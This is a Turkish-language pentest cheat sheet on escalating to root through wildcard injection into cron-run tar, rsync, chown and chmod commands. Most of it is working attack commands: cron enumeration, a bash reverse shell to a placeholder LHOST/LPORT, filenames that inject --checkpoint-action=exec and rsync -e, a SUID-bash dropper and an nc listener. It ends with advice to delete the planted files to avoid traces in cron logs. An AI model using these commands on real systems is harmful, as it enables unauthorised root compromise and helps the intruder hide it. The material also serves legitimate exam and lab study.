Wildcard Injection — tar checkpoint, rsync -e, chown/chmod --reference
Root tarafından çalışan ve wildcard (*) içeren tar/rsync/chown/chmod komutlarına dosya adı yoluyla argüman enjekte et: tar --checkpoint-action ile komut çalıştır, rsync -e ile shell, --reference ile sahip/izin manipülasyonu.
- Root tarafından çalışan wildcard'lı bir komut/script (genelde cron job)
- Hedef dizinde dosya oluşturma yetkisi
Komutlar
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.daily/ ./pspy64 -pf -i 1000 echo 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' > /path/backup/shell.sh cd /path/backup && touch ./--checkpoint=1 && touch ./'--checkpoint-action=exec=sh shell.sh' cd /path/backup && echo 'sh shell.sh' > runme.sh && touch './--checkpoint-action=exec=sh runme.sh' && touch ./--checkpoint=1 echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /path/backup/x.sh cd /path/src && touch ./'-e sh shell.sh' cd /path/dir && touch ./--reference=/path/to/owned_file && touch attacker_target cd /path/dir && touch ./--reference=/path/world_writable_perm_file nc -lvnp {{LPORT}} Genel Bakış
Wildcard injection, root tarafından çalıştırılan bir komut argümanlarını glob (*) ile genişlettiğinde ortaya çıkar. Saldırgan, çalışma dizininde dosya adı olarak bir komut-satırı flag’i (örn. --checkpoint-action=) oluşturur; shell glob’u genişletince bu dosya adı argüman olarak komuta geçer. Genelde bir cron job veya backup script’i üzerinden tetiklenir.
Enumeration
Önce tetikleyiciyi bul. /etc/crontab, /etc/cron.d/, /etc/cron.daily/ içinde tar ... *, rsync ... *, chown -R ... *, chmod -R ... * gibi pattern’ler ara. Cron görünür değilse pspy (pspy64 -pf) ile root süreçlerini canlı izle; periyodik çalışan wildcard’lı komutu yakalarsın. Kritik koşul: o komutun çalıştığı dizinde dosya oluşturma yetkin olmalı.
Exploitation — tar —checkpoint-action
En yaygın senaryo tar czf backup.tar.gz *. Hedef dizinde şu dosyaları oluştur:
--checkpoint=1(her record sonrası checkpoint)--checkpoint-action=exec=sh shell.shshell.sh(içinde reverse shell ya dacp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)
Glob * bu dosya adlarını tar’a argüman olarak verir; tar checkpoint’e ulaşınca shell.sh’i root olarak çalıştırır. Boşluk/parsing sorunu olursa action’ı ayrı bir runme.sh üzerinden çağır.
Exploitation — rsync -e
Root rsync -avz src/* dest/ çalıştırıyorsa, src içinde -e sh shell.sh adlı bir dosya oluştur. rsync -e flag’ini remote-shell olarak yorumlar ve script’i tetikler. GTFOBins rsync sayfası referans olarak kullanılabilir.
Exploitation — chown/chmod —reference
Bunlar shell vermez ama dosya sahibi/izinlerini manipüle eder. Root chown -R www-data:www-data * çalıştırıyorsa, dizine --reference=<senin_kontrol_ettiğin_dosya> adlı bir dosya koy; chown tüm hedeflerin sahipliğini o referans dosyanın sahibine eşitler. Benzer şekilde chmod -R --reference= ile bir SUID/yazılabilir hedefin iznini değiştirip ikinci aşamada SUID bash veya yazılabilir passwd elde edebilirsin.
Notlar / Gotchas
- Dosya adındaki
--ile başlayan isimleri oluştururken her zaman./prefix kullan (touch ./--checkpoint=1) yoksatouchflag sanıp hata verir. - Cron periyodunu bekle; pspy ile gerçek tetiklenmeyi doğrula. Erken tetiklenmezse zamanlama yanlıştır.
- Reverse shell yerine SUID bash dropping sınavda daha güvenilirdir (ağ/firewall bağımlılığı yok): tetiklendikten sonra
/tmp/rootbash -p. - chown/chmod reference injection iki aşamalıdır: önce izin/sahip değiştir, sonra o yeni durumu (SUID, writable passwd) ayrı bir teknikle istismar et — tek başına root vermez.
- İş bitince enjekte ettiğin dosya adlarını sil; cron loglarında iz bırakır.